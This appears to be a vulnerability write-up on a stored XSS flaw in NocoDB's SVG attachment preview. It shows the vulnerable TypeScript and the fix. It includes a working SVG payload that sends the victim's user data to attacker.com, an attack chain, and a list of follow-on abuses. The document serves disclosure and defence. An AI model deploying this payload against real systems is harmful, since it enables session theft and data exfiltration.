No-Code, Yes-Exploit: Weaponizing SVGs in NocoDB

NocoDB is the darling of the open-source world right now. It promises to turn your boring MySQL or PostgreSQL database into a shiny, Airtable-like smart spreadsheet. It’s a "no-code" platform, which usually translates to "we abstracted away the complexity so you don't have to look at it." Unfortunately, abstraction often hides sins.

In this case, the sin lies in how NocoDB handles attachments. Like any good collaboration tool, it lets you upload files—PDFs, JPEGs, and yes, SVGs—and attach them to rows in your database. It even offers a handy "Preview" feature so you don't have to download every single receipt your finance team uploads.

But here's the catch: When you build a feature to display images inline, you better be absolutely certain that the "image" is actually a picture, and not a trojan horse made of XML and hatred. CVE-2026-24769 is what happens when a developer assumes that if a file type contains the word "image", it must be harmless.

The root of this vulnerability is a classic developer shortcut: string matching without context. In the web world, we have MIME types to tell us what a file is. image/jpeg is a photo. application/json is data. image/svg+xml is... well, it's complicated.

Scalable Vector Graphics (SVG) are not raster images like PNGs or JPGs. They are XML documents that describe lines, shapes, and colors. Crucially, the SVG standard supports the <script> tag and event handlers like onload. If a browser renders an SVG inline (i.e., not as a downloaded file), it parses that XML and executes any JavaScript it finds. It effectively becomes an HTML page.

NocoDB's logic for deciding whether to show a "Preview" button was simple. Too simple. It checked if the file's MIME type included the string "image".

> [!NOTE] > The Logic Flaw: > Does image/svg+xml include the word "image"? Yes. > Is it safe to render inline? Absolutely not.

By treating SVGs the same way as JPEGs, NocoDB rolled out the red carpet for Stored XSS. The application essentially said, "Oh, it's an image? Go ahead and run whatever code is inside it in the context of my origin."

Let's look at the code that made this possible. The vulnerability existed in attachmentHelpers.ts. The developers needed a way to determine if a file was previewable. Their solution was this helper function:

// Vulnerable logic in attachmentHelpers.ts
const previewableMimeTypes = ['image', 'pdf', 'video', 'audio'];
 
export const isPreviewAllowed = (args: { mimetype?: string } = {}) => {
  const { mimetype } = args;
  if (!mimetype) return false;
  // THE BUG: Loose substring matching
  return previewableMimeTypes.some((type) => mimetype.includes(type));
};

This is a lazy check. It matches image/png, sure, but it also matches image/svg+xml. Once the check passes, the frontend requests the file. This leads us to the second failure in attachments.controller.ts, where the server delivers the payload:

// Vulnerable endpoint in attachments.controller.ts
@Get('/dltemp/:param(*)')
async fileReadv3(@Param('param') param: string, @Res() res: Response) {
  // THE BUG: Trusting query params for headers
  res.setHeader('Content-Type', queryParams.contentType);
  res.setHeader('Content-Disposition', queryParams.contentDisposition);
 
  // Serving the raw file
  res.sendFile(file.path);
}

The server blindly accepts Content-Disposition: inline (often derived from client-side logic or query params) and serves the file with the image/svg+xml content type. This combination forces the browser to render the SVG instead of downloading it, triggering the XSS.

Exploiting this requires an authenticated account, but in a corporate environment using NocoDB, that's a low bar (think: a contractor or a low-level employee). The attacker simply creates a valid SVG file that contains a nasty surprise.

Here is what a weaponized logo.svg looks like:

<svg xmlns="http://www.w3.org/2000/svg" 
     onload="fetch('/api/v1/auth/user/me').then(r=>r.json()).then(d=>fetch('https://attacker.com/log?d='+btoa(JSON.stringify(d))))">
  <rect width="100" height="100" fill="red" />
  <script>
    // Alternatively, just steal the token directly
    // alert('XSS: ' + document.cookie);
  </script>
  <text x="10" y="50" font-family="Verdana" font-size="35" fill="blue">Hello Admin!</text>
</svg>

The Attack Chain:

1. Upload: The attacker uploads this file to a shared "Company Assets" table.
2. Wait: The attacker waits for an administrator or another user to browse that table.
3. Trigger: The victim clicks the file to see a preview. NocoDB serves the file inline.
4. Execution: The onload event fires immediately. The script fetches the victim's user details (including sensitive API keys if available in the dashboard context) and sends them to attacker.com.

Because the script runs in the origin of the NocoDB instance, it bypasses Same-Origin Policy (SOP) protections.

You might be thinking, "So what? They popped an alert box." But in the context of a database management tool, XSS is catastrophic. NocoDB is often used to manage sensitive business data, customer lists, and internal secrets.

With XSS, an attacker can:

1. Session Hijacking: Steal the Authorisation header or session cookies, effectively becoming the victim.
2. Data Exfiltration: Write a script to iterate through every table in the database and send the JSON data to a remote server.
3. Privilege Escalation: If the victim is an Admin, the attacker can create a new Admin account for themselves, locking out legitimate users and gaining persistent access.

This isn't just a UI bug; it's a full compromise of the data stored within the platform.

The fix, implemented in version 0.301.0, is a lesson in being specific. The developers moved from a blocklist/loose-match approach to a strict allowlist approach.

Instead of checking if the MIME type includes "image", they now check if the MIME type is exactly one of the safe types (e.g., image/jpeg, image/png, image/gif). Crucially, image/svg+xml is excluded from the preview allowlist.

Furthermore, the backend controller was hardened. It no longer blindly trusts query parameters to set headers. It likely forces Content-Disposition: attachment for any file type that isn't on a strictly vetted safe list. This forces the browser to download the file rather than render it, neutering the XSS payload even if it is uploaded.

Lesson Learned: Never trust a file just because it claims to be an image. If it's XML-based, it's code.